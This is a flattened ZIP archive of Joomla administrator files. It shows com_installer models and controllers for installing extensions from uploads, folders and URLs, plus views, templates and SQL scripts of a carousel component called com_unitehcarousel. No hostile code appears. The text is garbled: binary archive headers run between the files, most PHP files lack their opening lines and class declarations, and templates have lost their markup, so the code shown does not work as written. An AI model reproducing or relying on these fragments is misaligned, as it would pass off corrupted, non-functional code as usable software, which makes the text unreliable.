JText::_('COM_INSTALLER_MSG_DISCOVER_FAILEDTOPURGEEXTENSIONS'); return false; } } } PKs>\)$com_installer/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_installer/models/forms/index.htmlnuW+A PKs>\;l,,%com_installer/models/forms/manage.xmlnuW+A
PKs>\PΉ com_installer/models/install.phpnuW+AsetState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); // Recall the 'Install from Directory' path. $path = $app->getUserStateFromRequest($this->_context.'.install_directory', 'install_directory', $app->getCfg('tmp_path')); $this->setState('install.directory', $path); parent::populateState(); } /** * Install an extension from either folder, url or upload. * * @return boolean result of install * @since 1.5 */ function install() { $this->setState('action', 'install'); // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); $app = JFactory::getApplication(); switch(JRequest::getWord('installtype')) { case 'folder': // Remember the 'Install from Directory' path. $app->getUserStateFromRequest($this->_context.'.install_directory', 'install_directory'); $package = $this->_getPackageFromFolder(); break; case 'upload': $package = $this->_getPackageFromUpload(); break; case 'url': $package = $this->_getPackageFromUrl(); break; default: $app->setUserState('com_installer.message', JText::_('COM_INSTALLER_NO_INSTALL_TYPE_FOUND')); return false; break; } // Was the package unpacked? if (!$package) { $app->setUserState('com_installer.message', JText::_('COM_INSTALLER_UNABLE_TO_FIND_INSTALL_PACKAGE')); return false; } // Get an installer instance $installer = JInstaller::getInstance(); // Install the package if (!$installer->install($package['dir'])) { // There was an error installing the package $msg = JText::sprintf('COM_INSTALLER_INSTALL_ERROR', JText::_('COM_INSTALLER_TYPE_TYPE_'.strtoupper($package['type']))); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('COM_INSTALLER_INSTALL_SUCCESS', JText::_('COM_INSTALLER_TYPE_TYPE_'.strtoupper($package['type']))); $result = true; } // Set some model state values $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('name', $installer->get('name')); $this->setState('result', $result); $app->setUserState('com_installer.message', $installer->message); $app->setUserState('com_installer.extension_message', $installer->get('extension_message')); $app->setUserState('com_installer.redirect_url', $installer->get('redirect_url')); // Cleanup the install files if (!is_file($package['packagefile'])) { $config = JFactory::getConfig(); $package['packagefile'] = $config->get('tmp_path') . '/' . $package['packagefile']; } JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']); return $result; } /** * Works out an installation package from a HTTP upload * * @return package definition or false on failure */ protected function _getPackageFromUpload() { // Get the uploaded file information $userfile = JRequest::getVar('install_package', null, 'files', 'array'); // Make sure that file uploads are enabled in php if (!(bool) ini_get('file_uploads')) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE')); return false; } // Make sure that zlib is loaded so that the package can be unpacked if (!extension_loaded('zlib')) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB')); return false; } // If there is no uploaded file, we have a problem... if (!is_array($userfile)) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED')); return false; } // Check if there was a problem uploading the file. if ($userfile['error'] || $userfile['size'] < 1) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR')); return false; } // Build the appropriate paths $config = JFactory::getConfig(); $tmp_dest = $config->get('tmp_path') . '/' . $userfile['name']; $tmp_src = $userfile['tmp_name']; // Move uploaded file jimport('joomla.filesystem.file'); $uploaded = JFile::upload($tmp_src, $tmp_dest); // Unpack the downloaded package file $package = JInstallerHelper::unpack($tmp_dest); return $package; } /** * Install an extension from a directory * * @return Package details or false on failure * @since 1.5 */ protected function _getPackageFromFolder() { // Get the path to the package to install $p_dir = JRequest::getString('install_directory'); $p_dir = JPath::clean($p_dir); // Did you give us a valid directory? if (!is_dir($p_dir)) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_PLEASE_ENTER_A_PACKAGE_DIRECTORY')); return false; } // Detect the package type $type = JInstallerHelper::detectType($p_dir); // Did you give us a valid package? if (!$type) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE')); return false; } $package['packagefile'] = null; $package['extractdir'] = null; $package['dir'] = $p_dir; $package['type'] = $type; return $package; } /** * Install an extension from a URL * * @return Package details or false on failure * @since 1.5 */ protected function _getPackageFromUrl() { // Get a database connector $db = JFactory::getDbo(); // Get the URL of the package to install $url = JRequest::getString('install_url'); // Did you give us a URL? if (!$url) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_ENTER_A_URL')); return false; } // Download the package at the URL given $p_file = JInstallerHelper::downloadPackage($url); // Was the package downloaded? if (!$p_file) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_INVALID_URL')); return false; } $config = JFactory::getConfig(); $tmp_dest = $config->get('tmp_path'); // Unpack the downloaded package file $package = JInstallerHelper::unpack($tmp_dest . '/' . $p_file); return $package; } } PKs>\J7LlNN"com_installer/models/extension.phpnuW+AgetState('list.ordering'); $search = $this->getState('filter.search'); // Replace slashes so preg_match will work $search = str_replace('/', ' ', $search); $db = $this->getDbo(); if ($ordering == 'name' || (!empty($search) && stripos($search, 'id:') !== 0)) { $db->setQuery($query); $result = $db->loadObjectList(); $lang = JFactory::getLanguage(); $this->translate($result); if (!empty($search)) { foreach($result as $i=>$item) { if (!preg_match("/$search/i", $item->name)) { unset($result[$i]); } } } JArrayHelper::sortObjects($result, $this->getState('list.ordering'), $this->getState('list.direction') == 'desc' ? -1 : 1, true, $lang->getLocale()); $total = count($result); $this->cache[$this->getStoreId('getTotal')] = $total; if ($total < $limitstart) { $limitstart = 0; $this->setState('list.start', 0); } return array_slice($result, $limitstart, $limit ? $limit : null); } else { $query->order($db->quoteName($ordering) . ' ' . $this->getState('list.direction')); $result = parent::_getList($query, $limitstart, $limit); $this->translate($result); return $result; } } /** * Translate a list of objects * * @param array The array of objects * @return array The array of translated objects */ private function translate(&$items) { $lang = JFactory::getLanguage(); foreach($items as &$item) { if (strlen($item->manifest_cache)) { $data = json_decode($item->manifest_cache); if ($data) { foreach($data as $key => $value) { if ($key == 'type') { // ignore the type field continue; } $item->$key = $value; } } } $item->author_info = @$item->authorEmail .'
'. @$item->authorUrl; $item->client = $item->client_id ? JText::_('JADMINISTRATOR') : JText::_('JSITE'); $path = $item->client_id ? JPATH_ADMINISTRATOR : JPATH_SITE; switch ($item->type) { case 'component': $extension = $item->element; $source = JPATH_ADMINISTRATOR . '/components/' . $extension; $lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); break; case 'file': $extension = 'files_' . $item->element; $lang->load("$extension.sys", JPATH_SITE, null, false, true); break; case 'library': $extension = 'lib_' . $item->element; $lang->load("$extension.sys", JPATH_SITE, null, false, true); break; case 'module': $extension = $item->element; $source = $path . '/modules/' . $extension; $lang->load("$extension.sys", $path, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); break; case 'package': $extension = $item->element; $lang->load("$extension.sys", JPATH_SITE, null, false, true); break; case 'plugin': $extension = 'plg_' . $item->folder . '_' . $item->element; $source = JPATH_PLUGINS . '/' . $item->folder . '/' . $item->element; $lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); break; case 'template': $extension = 'tpl_' . $item->element; $source = $path . '/templates/' . $item->element; $lang->load("$extension.sys", $path, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); break; } if (!in_array($item->type, array('language', 'template', 'library'))) { $item->name = JText::_($item->name); } settype($item->description, 'string'); if (!in_array($item->type, array('language'))) { $item->description = JText::_($item->description); } } } } PKs>\w"com_installer/models/languages.phpnuW+AgetQuery(true); // Select the required fields from the updates table $query->select('update_id, name, version, detailsurl, type'); $query->from('#__updates'); // This Where clause will avoid to list languages already installed. $query->where('extension_id = 0'); // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { $search = $db->Quote('%' . $db->escape($search, true) . '%'); $query->where('(name LIKE ' . $search . ')'); } // Add the list ordering clause. $listOrder = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->escape($listOrder) . ' ' . $db->escape($orderDirn)); return $query; } /** * Method to get a store id based on model configuration state. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); return parent::getStoreId($id); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param null $ordering list order * @param null $direction direction in the list * * @return void */ protected function populateState($ordering = 'name', $direction = 'asc') { // Initialise variables. $app = JFactory::getApplication(); $value = $app->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'); $this->setState('filter.search', $value); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); parent::populateState($ordering, $direction); } /** * Method to find available languages in the Accredited Languages Update Site. * * @param int $cache_timeout time before refreshing the cached updates * * @return bool */ public function findLanguages($cache_timeout = 0) { $updater = JUpdater::getInstance(); /* * The following function uses extension_id 600, that is the english language extension id. * In #__update_sites_extensions you should have 600 linked to the Accredited Translations Repo */ $updater->findUpdates(array(600), $cache_timeout); return true; } /** * Install languages in the system. * * @param array $lids array of language ids selected in the list * * @return bool */ public function install($lids) { $app = JFactory::getApplication(); $installer = JInstaller::getInstance(); // Loop through every selected language foreach ($lids as $id) { // Loads the update database object that represents the language $language = JTable::getInstance('update'); $language->load($id); // Get the url to the XML manifest file of the selected language $remote_manifest = $this->_getLanguageManifest($id); if (!$remote_manifest) { // Could not find the url, the information in the update server may be corrupt $message = JText::sprintf('COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_MANIFEST', $language->name); $message .= ' ' . JText::_('COM_INSTALLER_MSG_LANGUAGES_TRY_LATER'); $app->enqueueMessage($message); continue; } // Based on the language XML manifest get the url of the package to download $package_url = $this->_getPackageUrl($remote_manifest); if (!$package_url) { // Could not find the url , maybe the url is wrong in the update server, or there is not internet access $message = JText::sprintf('COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_PACKAGE', $language->name); $message .= ' ' . JText::_('COM_INSTALLER_MSG_LANGUAGES_TRY_LATER'); $app->enqueueMessage($message); continue; } // Download the package to the tmp folder $package = $this->_downloadPackage($package_url); // Install the package if (!$installer->install($package['dir'])) { // There was an error installing the package $message = JText::sprintf('COM_INSTALLER_INSTALL_ERROR', $language->name); $message .= ' ' . JText::_('COM_INSTALLER_MSG_LANGUAGES_TRY_LATER'); $app->enqueueMessage($message); continue; } // Package installed successfully $app->enqueueMessage(JText::sprintf('COM_INSTALLER_INSTALL_SUCCESS', $language->name)); // Cleanup the install files in tmp folder if (!is_file($package['packagefile'])) { $config = JFactory::getConfig(); $package['packagefile'] = $config->get('tmp_path') . '/' . $package['packagefile']; } JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']); // Delete the installed language from the list $language->delete($id); } } /** * Gets the manifest file of a selected language from a the language list in a update server. * * @param int $uid the id of the language in the #__updates table * * @return string */ protected function _getLanguageManifest($uid) { $instance = JTable::getInstance('update'); $instance->load($uid); $detailurl = trim($instance->detailsurl); return $detailurl; } /** * Finds the url of the package to download. * * @param string $remote_manifest url to the manifest XML file of the remote package * * @return string|bool */ protected function _getPackageUrl( $remote_manifest ) { $update = new JUpdate; $update->loadFromXML($remote_manifest); $package_url = trim($update->get('downloadurl', false)->_data); return $package_url; } /** * Download a language package from an URL and unpack it in the tmp folder. * * @param string $url url of the package * * @return array|bool Package details or false on failure */ protected function _downloadPackage($url) { // Download the package from the given URL $p_file = JInstallerHelper::downloadPackage($url); // Was the package downloaded? if (!$p_file) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_INVALID_URL')); return false; } $config = JFactory::getConfig(); $tmp_dest = $config->get('tmp_path'); // Unpack the downloaded package file $package = JInstallerHelper::unpack($tmp_dest . '/' . $p_file); return $package; } } PKs>\Vcom_installer/index.htmlnuW+A PKs>\S\aa'com_installer/controllers/languages.phpnuW+Aparams; $cache_timeout = $params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; // Find updates $model = $this->getModel('languages'); $model->findLanguages($cache_timeout); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=languages', false)); } /** * Purgue the updates list. * * @return void */ public function purge() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Purge updates $model = $this->getModel('update'); $model->purge(); $model->enableSites(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=languages', false), $model->_message); } /** * Install languages. * * @return void */ public function install() { $model = $this->getModel('languages'); // Get array of selected languages $lids = JRequest::getVar('cid', array(), '', 'array'); JArrayHelper::toInteger($lids, array()); if (!$lids) { // No languages have been selected $app = JFactory::getApplication(); $app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED')); } else { // Install selected languages $model->install($lids); } $this->setRedirect(JRoute::_('index.php?option=com_installer&view=languages', false)); } } PKs>\S&com_installer/controllers/discover.phpnuW+AgetModel('discover'); $model->discover(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=discover', false)); } /** * Install a discovered extension. * * @since 1.6 */ function install() { $model = $this->getModel('discover'); $model->discover_install(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=discover', false)); } /** * Clean out the discovered extension cache. * * @since 1.6 */ function purge() { $model = $this->getModel('discover'); $model->purge(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=discover', false), $model->_message); } } PKs>\%com_installer/controllers/install.phpnuW+AgetModel('install'); if ($model->install()) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); // TODO: Reset the users acl here as well to kill off any missing bits } $app = JFactory::getApplication(); $redirect_url = $app->getUserState('com_installer.redirect_url'); if(empty($redirect_url)) { $redirect_url = JRoute::_('index.php?option=com_installer&view=install', false); } else { // wipe out the user state when we're going to redirect $app->setUserState('com_installer.redirect_url', ''); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); } $this->setRedirect($redirect_url); } } PKs>\)#com_installer/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\}s=oo&com_installer/controllers/database.phpnuW+AgetModel('database'); $model->fix(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=database', false)); } } PKs>\3& & $com_installer/controllers/manage.phpnuW+AregisterTask('unpublish', 'publish'); $this->registerTask('publish', 'publish'); } /** * Enable/Disable an extension (if supported). * * @since 1.6 */ public function publish() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('publish' => 1, 'unpublish' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED')); } else { // Get the model. $model = $this->getModel('manage'); // Change the state of the records. if (!$model->publish($ids, $value)) { JError::raiseWarning(500, implode('
', $model->getErrors())); } else { if ($value == 1) { $ntext = 'COM_INSTALLER_N_EXTENSIONS_PUBLISHED'; } elseif ($value == 0) { $ntext = 'COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED'; } $this->setMessage(JText::plural($ntext, count($ids))); } } $this->setRedirect(JRoute::_('index.php?option=com_installer&view=manage', false)); } /** * Remove an extension (Uninstall). * * @return void * @since 1.5 */ public function remove() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $eid = JRequest::getVar('cid', array(), '', 'array'); $model = $this->getModel('manage'); JArrayHelper::toInteger($eid, array()); $result = $model->remove($eid); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=manage', false)); } /** * Refreshes the cached metadata about an extension. * * Useful for debugging and testing purposes when the XML file might change. * * @since 1.6 */ function refresh() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $uid = JRequest::getVar('cid', array(), '', 'array'); $model = $this->getModel('manage'); JArrayHelper::toInteger($uid, array()); $result = $model->refresh($uid); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=manage', false)); } } PKs>\V$com_installer/controllers/index.htmlnuW+A PKs>\9ZOO$com_installer/controllers/update.phpnuW+AgetModel('update'); $uid = JRequest::getVar('cid', array(), '', 'array'); JArrayHelper::toInteger($uid, array()); if ($model->update($uid)) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); } $app = JFactory::getApplication(); $redirect_url = $app->getUserState('com_installer.redirect_url'); if(empty($redirect_url)) { $redirect_url = JRoute::_('index.php?option=com_installer&view=update', false); } else { // wipe out the user state when we're going to redirect $app->setUserState('com_installer.redirect_url', ''); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); } $this->setRedirect($redirect_url); } /** * Find new updates. * * @since 1.6 */ function find() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get the caching duration jimport('joomla.application.component.helper'); $component = JComponentHelper::getComponent('com_installer'); $params = $component->params; $cache_timeout = $params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; // Find updates $model = $this->getModel('update'); $result = $model->findUpdates(0, $cache_timeout); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=update', false)); //$view->display(); } /** * Purges updates. * * @since 1.6 */ function purge() { // Purge updates // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $model = $this->getModel('update'); $model->purge(); $model->enableSites(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=update', false), $model->_message); } /** * Fetch and report updates in JSON format, for AJAX requests * * @return void * * @since 2.5 */ function ajax() { // Note: we don't do a token check as we're fetching information // asynchronously. This means that between requests the token might // change, making it impossible for AJAX to work. $eid = JRequest::getInt('eid', 0); $skip = JRequest::getVar('skip', array(), 'default', 'array'); $cache_timeout = JRequest::getInt('cache_timeout', 0); if($cache_timeout == 0) { jimport('joomla.application.component.helper'); $component = JComponentHelper::getComponent('com_installer'); $params = $component->params; $cache_timeout = $params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; } $model = $this->getModel('update'); $result = $model->findUpdates($eid, $cache_timeout); $model->setState('list.start', 0); $model->setState('list.limit', 0); if($eid != 0) { $model->setState('filter.extension_id', $eid); } $updates = $model->getItems(); if(!empty($skip)) { $unfiltered_updates = $updates; $updates = array(); foreach($unfiltered_updates as $update) { if(!in_array($update->extension_id, $skip)) $updates[] = $update; } } echo json_encode($updates); JFactory::getApplication()->close(); } } PKs>\&yOO$com_unitehcarousel/sql/uninstall.sqlnuW+ADROP TABLE `#__unitehcarousel_sliders`; DROP TABLE `#__unitehcarousel_slides`;PKs>\!QQ"com_unitehcarousel/sql/install.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__unitehcarousel_sliders` ( `id` int(10) unsigned NOT NULL auto_increment, `title` varchar(255) NOT NULL, `alias` varchar(255) NOT NULL default '', `published` tinyint(1) NOT NULL default '0', `ordering` int(11) NOT NULL default '0', `params` text NOT NULL, `visual` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; CREATE TABLE IF NOT EXISTS `#__unitehcarousel_slides` ( `id` int(10) unsigned NOT NULL auto_increment, `catid` int(10) unsigned NOT NULL default '0', `sliderid` int(10) unsigned NOT NULL default '0', `title` varchar(255) NOT NULL, `alias` varchar(255) NOT NULL default '', `image` varchar(255) NOT NULL, `description` text NOT NULL, `published` tinyint(1) NOT NULL default '0', `checked_out` int(10) unsigned NOT NULL default '0', `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00', `ordering` int(11) NOT NULL default '0', `params` text NOT NULL, PRIMARY KEY (`id`), KEY `catid` (`catid`,`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; PKs>\) com_unitehcarousel/sql/.htaccessnuW+A Order allow,deny Deny from all PKs>\!com_unitehcarousel/sql/index.htmlnuW+APKs>\>7Ycom_unitehcarousel/includes.phpnuW+APKs>\)"com_unitehcarousel/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\*com_unitehcarousel/views/slider/index.htmlnuW+APKs>\t4com_unitehcarousel/views/slider/tmpl/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $fieldsetItems = $this->form->getFieldset($name); if(empty($fieldsetItems)) continue; echo JHtml::_('sliders.panel',JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

'.$this->escape(JText::_($fieldSet->description)).'

'; endif; ?>
PKs>\/com_unitehcarousel/views/slider/tmpl/index.htmlnuW+APKs>\Bc1h 4com_unitehcarousel/views/slider/tmpl/edit_visual.phpnuW+A
isNew == false):?> Edit Slides
putVisualFields("general") ?>

This is html caption, you can play with the text style.

bulletsHtml; ?>
PKs>\\ ƀ-com_unitehcarousel/views/slider/tmpl/edit.phpnuW+Aitem->id; try{ ?>
loadTemplate('general'); ?>
getMessage(); $message = str_replace("\\", "/", $message); $message = stripslashes($message); ?> PKs>\e0f%%/com_unitehcarousel/views/slider/tmpl/arrows.phpnuW+A
PKs>\Z0com_unitehcarousel/views/slider/tmpl/bullets.phpnuW+A
PKs>\).com_unitehcarousel/views/slider/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\A5com_unitehcarousel/views/slider/tmpl/edit_general.phpnuW+AisNew) $boxTitle = JText::_('COM_UNITEHCAROUSEL_NEW'); else $boxTitle = JText::_('COM_UNITEHCAROUSEL_SLIDER_SETTINGS'); ?>
form, "general", $boxTitle); ?> isNew == false):?> Edit Slides
form, "params"); ?>
PKs>\#ɻ--0com_unitehcarousel/views/slider/tmpl/default.phpnuW+A slider default layoutPKs>\}-com_unitehcarousel/views/slider/tmpl/ajax.phpnuW+A$action,"success"=>true); try{ switch($action){ case "get_bullets_html": $setName = UniteFunctionsHCar::getVal($data, "setName"); $html = HelperUniteHCar::getBulletsHtml($setName); $response["bullets_html"] = $html; break; default: UniteFunctionsHCar::throwError("Wrong action: $action"); break; } }catch(Exception $e){ $message = $e->getMessage(); UniteFunctionsHCar::jsonErrorResponse($message); } UniteFunctionsHCar::jsonResponse($response); ?>PKs>\))com_unitehcarousel/views/slider/.htaccessnuW+A Order allow,deny Deny from all PKs>\R< < -com_unitehcarousel/views/slider/view.html.phpnuW+AisNew) $title .= '[ ' . JText::_( 'COM_UNITEHCAROUSEL_NEW' ).' ]'; else $title .= $this->item->title." [".JText::_("COM_UNITEHCAROUSEL_EDIT_SETTINGS")."]"; JToolBarHelper::title($title , 'generic.png' ); if ($this->isNew){ // For new records, check the create permission. JToolBarHelper::apply('slider.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('slider.save', 'JTOOLBAR_SAVE'); JToolBarHelper::custom('slider.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); JToolBarHelper::cancel('slider.cancel', 'JTOOLBAR_CANCEL'); } else { JToolBarHelper::apply('slider.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('slider.save', 'JTOOLBAR_SAVE'); //JToolBarHelper::custom('slider.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false); JToolBarHelper::cancel('slider.cancel', 'JTOOLBAR_CANCEL'); } } /** * the main disply function */ public function display($tpl = null) { // Initialiase variables. $this->form = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); $this->isNew = ($this->item->id == 0); if($this->_layout == "default" || $this->_layout == "edit"){ if($this->isNew == false){ $this->linkEditSlides = HelperUniteHCar::getViewUrl_Items($this->item->id); } } // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } } PKs>\F).com_unitehcarousel/views/sliders/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * * add toolbar */ protected function addToolbar() { $title = JText::_('COM_UNITEHCAROUSEL'). " - ". JText::_('COM_UNITEHCAROUSEL_SLIDERS'); JToolBarHelper::title($title , 'generic.png'); JToolBarHelper::addNew('slider.add','JTOOLBAR_NEW'); JToolBarHelper::editList('slider.edit','JTOOLBAR_EDIT'); JToolBarHelper::deleteList('COM_UNITEHCAROUSEL_SLIDER_APPROVE_DELETE', 'sliders.delete','JTOOLBAR_DELETE'); JToolBarHelper::divider(); JToolBarHelper::custom('sliders.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true); JToolBarHelper::custom('sliders.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true); //JToolBarHelper::divider(); //JToolBarHelper::preferences('com_unitehcarousel', 300, 600); } }PKs>\+com_unitehcarousel/views/sliders/index.htmlnuW+APKs>\)*com_unitehcarousel/views/sliders/.htaccessnuW+A Order allow,deny Deny from all PKs>\0com_unitehcarousel/views/sliders/tmpl/index.htmlnuW+APKs>\)/com_unitehcarousel/views/sliders/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\o-1com_unitehcarousel/views/sliders/tmpl/default.phpnuW+A get('id'); $listOrder = $this->state->get('list.ordering'); $listDirn = $this->state->get('list.direction'); $canOrder = true; //$user->authorise('core.edit.state', 'com_contact.category'); $saveOrder = $listOrder == 'a.ordering'; $table = new UniteAdminTableHCar($this->state); $table->addFilter(UniteAdminTableHCar::FILTER_TYPE_PUBLISHED); ?>
putFilterBar(); ?>
items); foreach ($this->items as $i => $slider) : $ordering = ($listOrder == 'a.ordering'); $canCreate = true; $canEdit = true; $canCheckin = true; $canEditOwn = true; $canChange = true; $sliderID = $slider->id; $urlSliderSettings = HelperUniteHCar::getViewUrl_Slider($sliderID); $urlEditSlides = HelperUniteHCar::getViewUrl_Items($sliderID); $title = $this->escape($slider->title); ?>
items, 'filesave.png', 'items.saveorder'); ?>
pagination->getListFooter(); ?>

escape($slider->alias)); ?>

published, $i, 'sliders.', true, 'cb'); ?> pagination->orderUpIcon($i, ($slider->ordering == @$this->items[$i - 1]->ordering), 'items.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($slider->ordering == @$this->items[$i + 1]->ordering), 'items.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($slider->ordering == @$this->items[$i - 1]->ordering), 'items.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($slider->ordering == @$this->items[$i + 1]->ordering), 'items.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> id; ?>
PKs>\Bt|0com_unitehcarousel/views/sliders/tmpl/footer.phpnuW+A
PKs>\#com_unitehcarousel/views/index.htmlnuW+APKs>\(com_unitehcarousel/views/item/index.htmlnuW+APKs>\)'com_unitehcarousel/views/item/.htaccessnuW+A Order allow,deny Deny from all PKs>\-com_unitehcarousel/views/item/tmpl/index.htmlnuW+APKs>\v##+com_unitehcarousel/views/item/tmpl/edit.phpnuW+A
loadTemplate("inside"); ?>
PKs>\}2com_unitehcarousel/views/item/tmpl/edit_inside.phpnuW+Aform->getFieldset('optional'); $styleImagePreview = ""; ?>
item->id) ? JText::_('COM_UNITEHCAROUSEL_NEW') : JText::sprintf('COM_UNITEHCAROUSEL_EDIT', $this->item->id); ?>
PKs>\),com_unitehcarousel/views/item/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\+com_unitehcarousel/views/item/view.html.phpnuW+Aform, $name); } /** * * put some optional field */ public function putOptionalField($name){ UniteFunctionJoomlaHCar::putFormField($this->form, $name,"params"); } /** * * set image style and preview url */ private function setImage(){ //get slider id if(!empty($this->item->id)){ $sliderID = $this->item->sliderid; }else $sliderID = JRequest::getVar("sliderid"); $slider = HelperUniteHCar::getSlider($sliderID); $params = $slider["params"]; $imageHeight = $params->get("image_height",100); $imageWidth = $params->get("image_width",150); $this->slider = $slider; //put image if($this->isEmpty == false){ $filenameImage = $this->params->get("image"); $this->urlPreview = UniteFunctionJoomlaHCar::getImageOutputUrl($filenameImage,$imageWidth,$imageHeight,true); }else{ $this->imagePreviewStyle = "style='display:none;'"; } //add image pattern to js $pattern = UniteFunctionJoomlaHCar::getImageOutputUrl("IMAGE_PLACE",$imageWidth,$imageHeight,true,false); UniteFunctionJoomlaHCar::addScriptDeclaration("var g_imagePattern='$pattern';"); } protected function addToolbar(){ JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); $canDo = true; //ContactHelper::getActions($this->state->get('filter.category')); $sliderTitle = $this->slider["title"]; $title = JText::_('COM_UNITEHCAROUSEL').' - '.$sliderTitle; if($isNew){ $title .= JText::_( 'COM_UNITEHCAROUSEL_NEW' ); }else{ $title .= " [".JText::_('COM_UNITEHCAROUSEL_EDIT_SLIDE')."]"; } JToolBarHelper::title($title, 'generic.png' ); // Built the actions for new and existing records. if ($isNew) { // For new records, check the create permission. //if ($canDo->get('core.create')) { JToolBarHelper::apply('item.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('item.save', 'JTOOLBAR_SAVE'); //JToolBarHelper::custom('item.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); //} 